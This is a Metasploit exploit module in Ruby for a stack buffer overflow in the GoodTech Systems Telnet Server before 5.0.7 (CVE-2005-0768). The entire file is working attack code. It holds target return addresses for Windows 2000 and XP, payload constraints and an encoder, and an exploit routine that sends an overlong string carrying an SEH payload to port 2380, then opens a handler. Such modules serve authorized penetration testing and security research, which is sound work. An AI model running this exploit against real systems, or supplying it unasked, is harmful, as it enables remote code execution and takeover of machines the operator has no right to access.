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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'GoodTech Telnet Server Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
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          versions prior to 5.0.7. By sending an overly long string, an attacker can
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          overwrite the buffer and control program execution.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => 'MC',
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        'References' =>
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          [
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            [ 'CVE', '2005-0768' ],
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            [ 'OSVDB', '14806'],
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            [ 'BID', '12815' ],
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          ],
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        'DefaultOptions' =>
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          {
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            'EXITFUNC' => 'thread'
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          },
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        'Payload' =>
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          {
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            'Space' => 400,
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            'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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            'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44"
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          },
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        'Platform' => 'win',
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        'Targets' =>
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          [
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            [ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
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            [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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          ],
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        'Privileged' => true,
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        'DisclosureDate' => '2005-03-15',
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        'DefaultTarget' => 0
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(2380)
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      ]
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    )
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  end
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  def exploit
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    connect
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    sploit = rand_text_english(10020, payload_badchars)
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    seh = generate_seh_payload(target.ret)
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    sploit[10012, seh.length] = seh
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit + "\r\n\r\n")
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    handler
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    disconnect
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  end
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end
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